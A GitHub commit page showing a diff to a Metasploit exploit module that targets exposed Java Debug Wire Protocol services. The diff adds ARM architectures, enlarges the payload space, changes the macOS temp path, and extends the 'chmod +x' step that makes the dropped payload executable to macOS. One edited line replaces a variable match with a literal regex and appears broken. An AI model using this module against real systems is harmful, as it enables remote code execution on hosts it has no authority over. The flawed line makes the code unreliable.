Skip to content

Commit

Permalink
more osx
Browse files Browse the repository at this point in the history
  • Loading branch information
Brent Cook committed Aug 22, 2017
1 parent bb12096 commit 1289492
Showing 1 changed file with 9 additions and 21 deletions.
30 changes: 9 additions & 21 deletions modules/exploits/multi/misc/java_jdwp_debugger.rb
Original file line number Diff line number Diff line change
Expand Up @@ -91,31 +91,19 @@ def initialize
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win osx },
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => %w{ linux osx win },
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
'Space' => 10000000,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'macOS (Native Payload)',
{
'Platform' => 'osx'
}
],
[ 'Windows (Native Payload)',
{
'Platform' => 'win'
}
]
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
Expand Down Expand Up @@ -686,14 +674,14 @@ def setup_payload
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'osx'
path = temp_path || '/tmp/'
path = temp_path || '/private/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
end

if @os.downcase =~ target['Platform']
if @os.downcase =~ /target['Platform']/
print_warning("#{@os} system detected but using #{target['Platform']} target...")
end

Expand Down Expand Up @@ -898,7 +886,7 @@ def exec_payload(thread_id)
close_file(thread_id, file)

# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
Expand Down

0 comments on commit 1289492

Please sign in to comment.